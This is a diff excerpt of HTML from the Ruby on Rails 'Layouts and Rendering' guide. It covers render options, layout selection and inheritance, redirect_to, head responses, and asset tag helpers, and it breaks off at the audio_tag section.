+<div class='info'><p>You don&#8217;t need to call <tt>to_xml</tt> on the object that you want to render. If you use the <tt>:xml</tt> option, <tt>render</tt> will automatically call <tt>to_xml</tt> for you.</p></div>
+<h5 id="rendering-vanilla-javascript">2.2.11 Rendering Vanilla JavaScript</h5>
+<p>Rails can render vanilla JavaScript (as an alternative to using <tt>update</tt> with an <tt>.rjs</tt> file):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :js =&gt; &quot;alert('Hello Rails');&quot;
+</pre>
+</div>
+</notextile>
+
+<p>This will send the supplied string to the browser with a <span class="caps">MIME</span> type of <tt>text/javascript</tt>.</p>
+<h5 id="options-for-render">2.2.12 Options for <tt>render</tt></h5>
+<p>Calls to the <tt>render</tt> method generally accept four options:</p>
+<ul>
+	<li><tt>:content_type</tt></li>
+	<li><tt>:layout</tt></li>
+	<li><tt>:status</tt></li>
+	<li><tt>:location</tt></li>
+</ul>
+<h6 id="the-content_type-option">2.2.12.1 The <tt>:content_type</tt> Option</h6>
+<p>By default, Rails will serve the results of a rendering operation with the <span class="caps">MIME</span> content-type of <tt>text/html</tt> (or <tt>application/json</tt> if you use the <tt>:json</tt> option, or <tt>application/xml</tt> for the <tt>:xml</tt> option.). There are times when you might like to change this, and you can do so by setting the <tt>:content_type</tt> option:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :file =&gt; filename, :content_type =&gt; 'application/rss'
+</pre>
+</div>
+</notextile>
+
+<h6 id="the-layout-option">2.2.12.2 The <tt>:layout</tt> Option</h6>
+<p>With most of the options to <tt>render</tt>, the rendered content is displayed as part of the current layout. You&#8217;ll learn more about layouts and how to use them later in this guide.</p>
+<p>You can use the <tt>:layout</tt> option to tell Rails to use a specific file as the layout for the current action:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :layout =&gt; 'special_layout'
+</pre>
+</div>
+</notextile>
+
+<p>You can also tell Rails to render with no layout at all:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :layout =&gt; false
+</pre>
+</div>
+</notextile>
+
+<h6 id="the-status-option">2.2.12.3 The <tt>:status</tt> Option</h6>
+<p>Rails will automatically generate a response with the correct <span class="caps">HTML</span> status code (in most cases, this is <tt>200 OK</tt>). You can use the <tt>:status</tt> option to change this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :status =&gt; 500
+render :status =&gt; :forbidden
+</pre>
+</div>
+</notextile>
+
+<p>Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in <tt>actionpack/lib/action_controller/status_codes.rb</tt>. You can also see there how Rails maps symbols to status codes.</p>
+<h6 id="the-location-option">2.2.12.4 The <tt>:location</tt> Option</h6>
+<p>You can use the <tt>:location</tt> option to set the <span class="caps">HTTP</span> <tt>Location</tt> header:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+render :xml =&gt; photo, :location =&gt; photo_url(photo)
+</pre>
+</div>
+</notextile>
+
+<h5 id="finding-layouts">2.2.13 Finding Layouts</h5>
+<p>To find the current layout, Rails first looks for a file in <tt>app/views/layouts</tt> with the same base name as the controller. For example, rendering actions from the <tt>PhotosController</tt> class will use <tt>app/views/layouts/photos.html.erb</tt> (or <tt>app/views/layouts/photos.builder</tt>). If there is no such controller-specific layout, Rails will use <tt>app/views/layouts/application.html.erb</tt> or <tt>app/views/layouts/application.builder</tt>. If there is no <tt>.erb</tt> layout, Rails will use a <tt>.builder</tt> layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.</p>
+<h6 id="specifying-layouts-on-a-per-controller-basis">2.2.13.1 Specifying Layouts on a per-Controller Basis</h6>
+<p>You can override the automatic layout conventions in your controllers by using the <tt>layout</tt> declaration in the controller. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ProductsController &lt; ApplicationController
+  layout &quot;inventory&quot;
+  #...
+end
+</pre>
+</div>
+</notextile>
+
+<p>With this declaration, all methods within <tt>ProductsController</tt> will use <tt>app/views/layouts/inventory.html.erb</tt> for their layout.</p>
+<p>To assign a specific layout for the entire application, use a declaration in your <tt>ApplicationController</tt> class:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ApplicationController &lt; ActionController::Base
+  layout &quot;main&quot;
+  #...
+end
+</pre>
+</div>
+</notextile>
+
+<p>With this declaration, all views in the entire application will use <tt>app/views/layouts/main.html.erb</tt> for their layout.</p>
+<h6 id="choosing-layouts-at-runtime">2.2.13.2 Choosing Layouts at Runtime</h6>
+<p>You can use a symbol to defer the choice of layout until a request is processed:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ProductsController &lt; ApplicationController
+  layout :products_layout
+
+  def show
+    @product = Product.find(params[:id])
+  end
+
+  private
+    def products_layout
+      @current_user.special? ? &quot;special&quot; : &quot;products&quot;
+    end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now, if the current user is a special user, they&#8217;ll get a special layout when viewing a product. You can even use an inline method to determine the layout:</p>
+<p>You can also decide the layout by passing a Proc object, the block you give the Proc will be given the <tt>controller</tt> instance, so you can make decisions based on the current request.  For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ProductsController &lt; ApplicationController
+  layout Proc.new { |controller| controller.request.xhr? ? 'popup' : 'application' }
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="conditional-layouts">2.2.13.3 Conditional Layouts</h6>
+<p>Layouts specified at the controller level support <tt>:only</tt> and <tt>:except</tt> options that take either a method name or an array of method names which correspond to method names within the controller:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ProductsController &lt; ApplicationController
+  layout &quot;product&quot;, :except =&gt; [:index, :rss]
+end
+</pre>
+</div>
+</notextile>
+
+<p>With this declaration, the <tt>product</tt> layout would be used for everything but the <tt>rss</tt> and <tt>index</tt> methods.</p>
+<h6 id="layout-inheritance">2.2.13.4 Layout Inheritance</h6>
+<p>Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:</p>
+<ul>
+	<li><tt>application_controller.rb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ApplicationController &lt; ActionController::Base
+  layout &quot;main&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><tt>posts_controller.rb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class PostsController &lt; ApplicationController
+end
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><tt>special_posts_controller.rb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class SpecialPostsController &lt; PostsController
+  layout &quot;special&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><tt>old_posts_controller.rb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class OldPostsController &lt; SpecialPostsController
+  layout nil
+
+  def show
+    @post = Post.find(params[:id])
+  end
+
+  def index
+    @old_posts = Post.older
+    render :layout =&gt; &quot;old&quot;
+  end
+  # ...
+end
+</pre>
+</div>
+</notextile>
+
+<p>In this application:</p>
+<ul>
+	<li>In general, views will be rendered in the <tt>main</tt> layout</li>
+	<li><tt>PostsController#index</tt> will use the <tt>main</tt> layout</li>
+	<li><tt>SpecialPostsController#index</tt> will use the <tt>special</tt> layout</li>
+	<li><tt>OldPostsController#show</tt> will use no layout at all</li>
+	<li><tt>OldPostsController#index</tt> will use the <tt>old</tt> layout</li>
+</ul>
+<h5 id="avoiding-double-render-errors">2.2.14 Avoiding Double Render Errors</h5>
+<p>Sooner or later, most Rails developers will see the error message &#8220;Can only render or redirect once per action&#8221;. While this is annoying, it&#8217;s relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that <tt>render</tt> works.</p>
+<p>For example, here&#8217;s some code that will trigger this error:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render :action =&gt; &quot;special_show&quot;
+  end
+  render :action =&gt; &quot;regular_show&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>If <tt>@book.special?</tt> evaluates to <tt>true</tt>, Rails will start the rendering process to dump the <tt>@book</tt> variable into the <tt>special_show</tt> view. But this will <em>not</em> stop the rest of the code in the <tt>show</tt> action from running, and when Rails hits the end of the action, it will start to render the <tt>show</tt> view &#8211; and throw an error. The solution is simple: make sure that you only have one call to <tt>render</tt> or <tt>redirect</tt> in a single code path. One thing that can help is <tt>and return</tt>. Here&#8217;s a patched version of the method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render :action =&gt; &quot;special_show&quot; and return
+  end
+  render :action =&gt; &quot;regular_show&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>Make sure you use <tt>and return</tt> and not <tt>&amp;&amp; return</tt> because while the former will work, the latter will not due to operator precedence in the Ruby Language.</p>
+<p>Note that the implicit render done by ActionController detects if <tt>render</tt> has been called, and thus avoids this error. Therefore, the following will work without errors:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render :action =&gt; &quot;special_show&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This will render a book with <tt>special?</tt> set with the <tt>special_show</tt> template, while other books will render with the default <tt>show</tt> template.</p>
+<h4 id="using-redirect_to">2.3 Using <tt>redirect_to</tt></h4>
+<p>Another way to handle returning responses to an <span class="caps">HTTP</span> request is with <tt>redirect_to</tt>. As you&#8217;ve seen, <tt>render</tt> tells Rails which view (or other asset) to use in constructing a response. The <tt>redirect_to</tt> method does something completely different: it tells the browser to send a new request for a different <span class="caps">URL</span>. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+redirect_to photos_path
+</pre>
+</div>
+</notextile>
+
+<p>You can use <tt>redirect_to</tt> with any arguments that you could use with <tt>link_to</tt> or <tt>url_for</tt>. In addition, there&#8217;s a special redirect that sends the user back to the page they just came from:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+redirect_to :back
+</pre>
+</div>
+</notextile>
+
+<h5 id="getting-a-different-redirect-status-code">2.3.1 Getting a Different Redirect Status Code</h5>
+<p>Rails uses <span class="caps">HTTP</span> status code 302 (temporary redirect) when you call <tt>redirect_to</tt>. If you&#8217;d like to use a different status code (perhaps 301, permanent redirect), you can do so by using the <tt>:status</tt> option:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+redirect_to photos_path, :status =&gt; 301
+</pre>
+</div>
+</notextile>
+
+<p>Just like the <tt>:status</tt> option for <tt>render</tt>, <tt>:status</tt> for <tt>redirect_to</tt> accepts both numeric and symbolic header designations.</p>
+<h5 id="the-difference-between-render-and-redirect_to">2.3.2 The Difference Between <tt>render</tt> and <tt>redirect_to</tt></h5>
+<p>Sometimes inexperienced developers conceive of <tt>redirect_to</tt> as a sort of <tt>goto</tt> command, moving execution from one place to another in your Rails code. This is <em>not</em> correct. Your code stops running and waits for a new request for the browser. It just happens that you&#8217;ve told the browser what request it should make next, by sending back an <span class="caps">HTTP</span> 302 status code.</p>
+<p>Consider these actions to see the difference:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by_id(params[:id])
+  if @book.nil?
+    render :action =&gt; &quot;index&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>With the code in this form, there will be likely be a problem if the <tt>@book</tt> variable is <tt>nil</tt>. Remember, a <tt>render :action</tt> doesn&#8217;t run any code in the target action, so nothing will set up the <tt>@books</tt> variable that the <tt>index</tt> view is presumably depending on. One way to fix this is to redirect instead of rendering:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by_id(params[:id])
+  if @book.nil?
+    redirect_to :action =&gt; :index
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>With this code, the browser will make a fresh request for the index page, the code in the <tt>index</tt> method will run, and all will be well.</p>
+<p>The only downside to this code, is that it requires a round trip to the browser, the browser requested the show action with <tt>/books/1</tt> and the controller finds that there are no books, so the controller sends out a 301 redirect response to the browser telling it to go to <tt>/books/</tt>, the browser complies and sends a new request back to the controller asking now for the <tt>index</tt> action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.</p>
+<p>While in a small app, this added latency might not be a problem, it is something to think about when speed of response is of the essence.  One way to handle this double request (though a contrived example) could be:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by_id(params[:id])
+  if @book.nil?
+    @books = Book.all
+    render &quot;index&quot;, :alert =&gt; 'Your book was not found!'
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Which would detect that there are no books populate the <tt>@books</tt> instance variable with all the books in the database and then directly render the <tt>index.html.erb</tt> template returning it to the browser with a flash alert message telling the user what happened.</p>
+<h4 id="using-head-to-build-header-only-responses">2.4 Using <tt>head</tt> To Build Header-Only Responses</h4>
+<p>The <tt>head</tt> method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling <tt>render :nothing</tt>. The <tt>head</tt> method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+head :bad_request
+</pre>
+</div>
+</notextile>
+
+<p>Which would produce the following header:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+HTTP/1.1 400 Bad Request
+Connection: close
+Date: Sun, 24 Jan 2010 12:15:53 GMT
+Transfer-Encoding: chunked
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.013483
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+</pre>
+</div>
+</notextile>
+
+<p>Or you can use other <span class="caps">HTTP</span> headers to convey additional information:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+head :created, :location =&gt; photo_path(@photo)
+</pre>
+</div>
+</notextile>
+
+<p>Which would produce:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+HTTP/1.1 201 Created
+Connection: close
+Date: Sun, 24 Jan 2010 12:16:44 GMT
+Transfer-Encoding: chunked
+Location: /photos/1
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.083496
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+</pre>
+</div>
+</notextile>
+
+<h3 id="structuring-layouts">3 Structuring Layouts</h3>
+<p>When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:</p>
+<ul>
+	<li>Asset tags</li>
+	<li><tt>yield</tt> and <tt>content_for</tt></li>
+	<li>Partials</li>
+</ul>
+<p>I&#8217;ll discuss each of these in turn.</p>
+<h4 id="asset-tags">3.1 Asset Tags</h4>
+<p>Asset tags provide methods for generating <span class="caps">HTML</span> that links views to assets like images, videos, audio, javascript, stylesheets, and feeds. There are six types of include tag:</p>
+<ul>
+	<li><tt>auto_discovery_link_tag</tt></li>
+	<li><tt>javascript_include_tag</tt></li>
+	<li><tt>stylesheet_link_tag</tt></li>
+	<li><tt>image_tag</tt></li>
+	<li><tt>video_tag</tt></li>
+	<li><tt>audio_tag</tt></li>
+</ul>
+<p>You can use these tags in layouts or other views, although the tags other than <tt>image_tag</tt> are most commonly used in the <tt>&lt;head&gt;</tt> section of a layout.</p>
+<div class='warning'><p>The asset tags do <em>not</em> verify the existence of the assets at the specified locations; they simply assume that you know what you&#8217;re doing and generate the link.</p></div>
+<h5 id="linking-to-feeds-with-auto_discovery_link_tag">3.1.1 Linking to Feeds with <tt>auto_discovery_link_tag</tt></h5>
+<p>The <tt>auto_discovery_link_tag</tt> helper builds <span class="caps">HTML</span> that most browsers and newsreaders can use to detect the presences of <span class="caps">RSS</span> or <span class="caps">ATOM</span> feeds. It takes the type of the link (<tt>:rss</tt> or <tt>:atom</tt>), a hash of options that are passed through to url_for, and a hash of options for the tag:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= auto_discovery_link_tag(:rss, {:action =&gt; &quot;feed&quot;},
+  {:title =&gt; &quot;RSS Feed&quot;}) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>There are three tag options available for <tt>auto_discovery_link_tag</tt>:</p>
+<ul>
+	<li><tt>:rel</tt> specifies the <tt>rel</tt> value in the link (defaults to &#8220;alternate&#8221;)</li>
+	<li><tt>:type</tt> specifies an explicit <span class="caps">MIME</span> type. Rails will generate an appropriate <span class="caps">MIME</span> type automatically</li>
+	<li><tt>:title</tt> specifies the title of the link</li>
+</ul>
+<h5 id="linking-to-javascript-files-with-javascript_include_tag">3.1.2 Linking to Javascript Files with <tt>javascript_include_tag</tt></h5>
+<p>The <tt>javascript_include_tag</tt> helper returns an <span class="caps">HTML</span> <tt>script</tt> tag for each source provided. Rails looks in <tt>public/javascripts</tt> for these files by default, but you can specify a full path relative to the document root, or a <span class="caps">URL</span>, if you prefer. For example, to include <tt>public/javascripts/main.js</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= javascript_include_tag &quot;main&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To include <tt>public/javascripts/main.js</tt> and <tt>public/javascripts/columns.js</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= javascript_include_tag &quot;main&quot;, &quot;columns&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To include <tt>public/javascripts/main.js</tt> and <tt>public/photos/columns.js</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= javascript_include_tag &quot;main&quot;, &quot;/photos/columns&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To include <tt>http://example.com/main.js</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= javascript_include_tag &quot;http://example.com/main.js&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>defaults</tt> option loads the Prototype and Scriptaculous libraries:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= javascript_include_tag :defaults %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>all</tt> option loads every javascript file in <tt>public/javascripts</tt>, starting with the Prototype and Scriptaculous libraries:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= javascript_include_tag :all %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can supply the <tt>:recursive</tt> option to load files in subfolders of <tt>public/javascripts</tt> as well:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= javascript_include_tag :all, :recursive =&gt; true %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>If you&#8217;re loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache => true</tt> in your <tt>javascript_include_tag</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= javascript_include_tag &quot;main&quot;, &quot;columns&quot;, :cache =&gt; true %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>By default, the combined file will be delivered as <tt>javascripts/all.js</tt>. You can specify a location for the cached asset file instead:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= javascript_include_tag &quot;main&quot;, &quot;columns&quot;,
+  :cache =&gt; 'cache/main/display' %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can even use dynamic paths such as <tt>cache/#{current_site}/main/display</tt>.</p>
+<h5 id="linking-to-css-files-with-stylesheet_link_tag">3.1.3 Linking to <span class="caps">CSS</span> Files with <tt>stylesheet_link_tag</tt></h5>
+<p>The <tt>stylesheet_link_tag</tt> helper returns an <span class="caps">HTML</span> <tt>&lt;link&gt;</tt> tag for each source provided. Rails looks in <tt>public/stylesheets</tt> for these files by default, but you can specify a full path relative to the document root, or a <span class="caps">URL</span>, if you prefer. For example, to include <tt>public/stylesheets/main.css</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= stylesheet_link_tag &quot;main&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/stylesheets/columns.css</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= stylesheet_link_tag &quot;main&quot;, &quot;columns&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/photos/columns.css</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= stylesheet_link_tag &quot;main&quot;, &quot;/photos/columns&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To include <tt>http://example.com/main.css</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= stylesheet_link_tag &quot;http://example.com/main.css&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>By default, <tt>stylesheet_link_tag</tt> creates links with <tt>media="screen" rel="stylesheet" type="text/css"</tt>. You can override any of these defaults by specifying an appropriate option (<tt>:media</tt>, <tt>:rel</tt>, or <tt>:type</tt>):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= stylesheet_link_tag &quot;main_print&quot;, :media =&gt; &quot;print&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>all</tt> option links every <span class="caps">CSS</span> file in <tt>public/stylesheets</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= stylesheet_link_tag :all %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can supply the <tt>:recursive</tt> option to link files in subfolders of <tt>public/stylesheets</tt> as well:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= stylesheet_link_tag :all, :recursive =&gt; true %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>If you&#8217;re loading multiple <span class="caps">CSS</span> files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache => true</tt> in your <tt>stylesheet_link_tag</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= stylesheet_link_tag &quot;main&quot;, &quot;columns&quot;, :cache =&gt; true %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>By default, the combined file will be delivered as <tt>stylesheets/all.css</tt>. You can specify a location for the cached asset file instead:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= stylesheet_link_tag &quot;main&quot;, &quot;columns&quot;,
+  :cache =&gt; 'cache/main/display' %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can even use dynamic paths such as <tt>cache/#{current_site}/main/display</tt>.</p>
+<h5 id="linking-to-images-with-image_tag">3.1.4 Linking to Images with <tt>image_tag</tt></h5>
+<p>The <tt>image_tag</tt> helper builds an <span class="caps">HTML</span> <tt>&lt;img /&gt;</tt> tag to the specified file. By default, files are loaded from <tt>public/images</tt>, note, you must specify the extension, previous versions of Rails would allow you to just call the image name and would append <tt>.png</tt> if no extension was given, Rails 3.0 does not.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= image_tag &quot;header.png&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can supply a path to the image if you like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= image_tag &quot;icons/delete.gif&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can supply a hash of additional <span class="caps">HTML</span> options:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= image_tag &quot;icons/delete.gif&quot;, {:height =&gt; 45} %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can also supply an alternate image to show on mouseover:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= image_tag &quot;home.gif&quot;, :onmouseover =&gt; &quot;menu/home_highlight.gif&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Or alternate text if the user has rendering images turned off in their browser, if you do not specify an explicit alt tag, it defaults to the file name of the file, capitalized and with no extension, for example, these two image tags would return the same code:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= image_tag &quot;home.gif&quot; %&gt;
+&lt;%= image_tag &quot;home.gif&quot;, :alt =&gt; &quot;Home&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can also specify a special size tag, in the format &#8220;{width}x{height}&#8221;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= image_tag &quot;home.gif&quot;, :size =&gt; &quot;50x20&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>In addition to the above special tags, you can supply a final hash of standard <span class="caps">HTML</span> options, such as <tt>:class</tt> or <tt>:id</tt> or <tt>:name</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= image_tag &quot;home.gif&quot;, :alt =&gt; &quot;Go Home&quot;,
+                          :id =&gt; &quot;HomeImage&quot;,
+                          :class =&gt; 'nav_bar' %&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="linking-to-videos-with-video_tag">3.1.5 Linking to Videos with <tt>video_tag</tt></h5>
+<p>The <tt>video_tag</tt> helper builds an <span class="caps">HTML</span> 5 <tt>&lt;video&gt;</tt> tag to the specified file. By default, files are loaded from <tt>public/videos</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= video_tag &quot;movie.ogg&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Produces</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;video src=&quot;/videos/movie.ogg&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Like an <tt>image_tag</tt> you can supply a path, either absolute, or relative to the <tt>public/videos</tt> directory.  Additionally you can specify the <tt>:size => "#{width}x#{height}"</tt> option just like an <tt>image_tag</tt>.  Video tags can also have any of the <span class="caps">HTML</span> options specified at the end (<tt>id</tt>, <tt>class</tt> et al).</p>
+<p>The video tag also supports all of the <tt>&lt;video&gt;</tt> <span class="caps">HTML</span> options through the <span class="caps">HTML</span> options hash, including:</p>
+<ul>
+	<li><tt>:poster => 'image_name.png'</tt>, provides an image to put in place of the video before it starts playing.</li>
+	<li><tt>:autoplay => true</tt>, starts playing the video on page load.</li>
+	<li><tt>:loop => true</tt>, loops the video once it gets to the end.</li>
+	<li><tt>:controls => true</tt>, provides browser supplied controls for the user to interact with the video.</li>
+	<li><tt>:autobuffer => true</tt>, the video will pre load the file for the user on page load.</li>
+</ul>
+<p>You can also specify multiple videos to play by passing an array of videos to the <tt>video_tag</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= video_tag [&quot;trailer.ogg&quot;, &quot;movie.ogg&quot;] %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This will produce:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;video&gt;&lt;source src=&quot;trailer.ogg&quot; /&gt;&lt;source src=&quot;movie.ogg&quot; /&gt;&lt;/video&gt;
+</pre>
+</div>
+</notextile>
+
+<h5 id="linking-to-audio-files-with-audio_tag">3.1.6 Linking to Audio files with <tt>audio_tag</tt></h5>
+<p>The <tt>audio_tag</tt> helper builds an <span class="caps">HTML</span> 5 <tt>&lt;audio&gt;</tt> tag to the specified file. By default, files are loaded from <tt>public/audios</tt>.</p>
+<notextile>
